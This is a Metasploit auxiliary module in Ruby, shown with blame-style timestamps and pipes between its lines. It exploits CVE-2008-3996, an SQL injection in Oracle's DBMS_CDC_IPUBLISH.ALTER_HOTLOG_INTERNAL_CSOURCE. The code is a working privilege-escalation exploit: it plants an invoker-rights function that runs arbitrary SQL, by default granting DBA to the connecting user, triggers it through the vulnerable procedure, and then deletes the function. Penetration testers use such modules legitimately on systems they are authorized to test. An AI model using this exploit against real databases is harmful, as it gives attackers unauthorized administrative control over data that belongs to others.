2009-07-28 13:43:37 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-07-28 13:43:37 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::ORACLE
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2010-11-24 06:10:13 +00:00
|
|
|
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE',
|
2009-07-28 13:43:37 +00:00
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
The module exploits an sql injection flaw in the ALTER_HOTLOG_INTERNAL_CSOURCE
|
|
|
|
procedure of the PL/SQL package DBMS_CDC_IPUBLISH. Any user with execute privilege
|
|
|
|
on the vulnerable package can exploit this vulnerability. By default, users granted
|
|
|
|
EXECUTE_CATALOG_ROLE have the required privilege. Affected versions: Oracle Database
|
2009-07-28 13:43:37 +00:00
|
|
|
Server versions 10gR1, 10gR2 and 11gR1. Fixed with October 2008 CPU.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2008-3996' ],
|
2010-05-11 14:51:43 +00:00
|
|
|
[ 'OSVDB', '49321'],
|
2009-07-28 13:43:37 +00:00
|
|
|
[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-08.shtml'],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Oct 22 2008'))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
2009-07-28 13:43:37 +00:00
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
|
2009-07-28 13:43:37 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def run
|
2010-03-24 19:02:38 +00:00
|
|
|
return if not check_dependencies
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
|
2009-07-28 13:43:37 +00:00
|
|
|
|
|
|
|
function = "
|
2010-04-30 08:40:19 +00:00
|
|
|
CREATE OR REPLACE FUNCTION #{name}
|
2009-07-28 13:43:37 +00:00
|
|
|
RETURN VARCHAR2 AUTHID CURRENT_USER
|
|
|
|
IS
|
|
|
|
PRAGMA AUTONOMOUS_TRANSACTION;
|
|
|
|
BEGIN
|
|
|
|
EXECUTE IMMEDIATE '#{datastore['SQL']}';
|
|
|
|
COMMIT;
|
|
|
|
RETURN NULL;
|
|
|
|
END;"
|
|
|
|
|
|
|
|
package = "
|
|
|
|
BEGIN
|
|
|
|
SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE('''||'||user||'.#{name}||''');END;"
|
|
|
|
|
|
|
|
clean = "DROP FUNCTION #{name}"
|
|
|
|
|
|
|
|
begin
|
|
|
|
print_status("Sending function...")
|
|
|
|
prepare_exec(function)
|
|
|
|
rescue => e
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Attempting sql injection on SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE...")
|
|
|
|
prepare_exec(package)
|
|
|
|
|
|
|
|
print_status("Done! Removing function '#{name}'...")
|
|
|
|
prepare_exec(clean)
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|